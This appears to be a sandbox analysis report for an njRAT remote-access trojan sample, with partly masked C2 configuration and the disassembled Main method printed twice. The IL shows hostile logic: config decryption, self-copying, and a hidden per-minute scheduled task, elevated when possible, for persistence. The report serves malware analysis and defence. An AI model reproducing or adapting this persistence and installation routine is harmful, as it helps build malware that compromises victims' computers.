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PE Executable
MD5:
Size: 0 B
application/x-dosexec
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File
Type
Portable Executable file
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Low
1 malicious · 3 files
EXE08a6be776429ccb8f4561e8a03131136njRat
Structure
Config. Field Value
Mutex r4KnVhuhuhuhuhuhuhu
SPL Uhuhuhuhu
Hosts 154.huhuhuhu
Port 9huhuhuhu
KEY <12huhuhuhu
USBNM <Xwhuhuhuhu
LoggerPath %Aphuhuhuhu
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Module Name
UClient.exe
Full Name
UClient.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
UClient.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
UClient
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
170
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
182
Main IL 
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Port
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::SPL
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::USBNM
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.String System.Environment::ExpandEnvironmentVariables(System.String)
stsfld System.String Settings::InstallDir
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::InstallStr
leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.3 <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex()
call System.Boolean Stub.Helper::CreateMutex()
brtrue.s IL_00D8: ldsfld System.String Settings::InstallDir
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldsfld System.String Settings::InstallDir
ldstr \
ldsfld System.String Settings::InstallStr
call System.String System.String::Concat(System.String,System.String,System.String)
stloc.0 <null>
ldloc.0 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory()
callvirt System.String System.IO.DirectoryInfo::get_FullName()
stloc.s V_4
ldloc.s V_4
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.Boolean System.IO.Directory::Exists(System.String)
brtrue.s IL_011A: ldloc.0
ldloc.s V_4
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldloc.0 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_0131: ldc.i4 1000
ldloc.0 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_5
ldloc.s V_5
callvirt System.Void System.IO.FileInfo::Delete()
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.0 <null>
ldsfld System.String Stub.Helper::current
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
leave.s IL_015C: ldstr "schtasks.exe"
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_6
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_015C: ldstr "schtasks.exe"
ldstr schtasks.exe
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_8
ldloc.s V_8
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_01C2: ldloc.s V_8
ldloc.s V_8
ldc.i4.5 <null>
newarr System.String
stloc.s V_10
ldloc.s V_10
ldc.i4.0 <null>
ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_10
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_10
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_10
ldc.i4.3 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_10
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_10
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
br.s IL_0206: ldloc.s V_8
ldloc.s V_8
ldc.i4.5 <null>
newarr System.String
stloc.s V_10
ldloc.s V_10
ldc.i4.0 <null>
ldstr /create /f /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_10
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_10
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_10
ldc.i4.3 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_10
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_10
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_8
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
stloc.s V_7
ldloc.s V_7
callvirt System.Void System.Diagnostics.Process::WaitForExit()
leave.s IL_0227: call System.Void Stub.Helper::PreventSleep()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_9
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0227: call System.Void Stub.Helper::PreventSleep()
call System.Void Stub.Helper::PreventSleep()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Join()
ret <null>
Module Name
UClient.exe
Full Name
UClient.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
UClient.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
UClient
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
170
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
182
Main IL 
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Port
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::SPL
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::USBNM
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.String System.Environment::ExpandEnvironmentVariables(System.String)
stsfld System.String Settings::InstallDir
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::InstallStr
leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.3 <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex()
call System.Boolean Stub.Helper::CreateMutex()
brtrue.s IL_00D8: ldsfld System.String Settings::InstallDir
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldsfld System.String Settings::InstallDir
ldstr \
ldsfld System.String Settings::InstallStr
call System.String System.String::Concat(System.String,System.String,System.String)
stloc.0 <null>
ldloc.0 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory()
callvirt System.String System.IO.DirectoryInfo::get_FullName()
stloc.s V_4
ldloc.s V_4
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.Boolean System.IO.Directory::Exists(System.String)
brtrue.s IL_011A: ldloc.0
ldloc.s V_4
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldloc.0 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_0131: ldc.i4 1000
ldloc.0 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_5
ldloc.s V_5
callvirt System.Void System.IO.FileInfo::Delete()
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.0 <null>
ldsfld System.String Stub.Helper::current
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
leave.s IL_015C: ldstr "schtasks.exe"
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_6
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_015C: ldstr "schtasks.exe"
ldstr schtasks.exe
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_8
ldloc.s V_8
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_01C2: ldloc.s V_8
ldloc.s V_8
ldc.i4.5 <null>
newarr System.String
stloc.s V_10
ldloc.s V_10
ldc.i4.0 <null>
ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_10
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_10
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_10
ldc.i4.3 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_10
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_10
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
br.s IL_0206: ldloc.s V_8
ldloc.s V_8
ldc.i4.5 <null>
newarr System.String
stloc.s V_10
ldloc.s V_10
ldc.i4.0 <null>
ldstr /create /f /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_10
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_10
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_10
ldc.i4.3 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_10
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_10
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_8
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
stloc.s V_7
ldloc.s V_7
callvirt System.Void System.Diagnostics.Process::WaitForExit()
leave.s IL_0227: call System.Void Stub.Helper::PreventSleep()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_9
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0227: call System.Void Stub.Helper::PreventSleep()
call System.Void Stub.Helper::PreventSleep()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Join()
ret <null>
Mutex MUTEXmalicious
r4KnVhuhuhuhuhuhuhu
CnC CNCmalicious
154.huhuhuhu
Port PORTmalicious
9huhuhuhu
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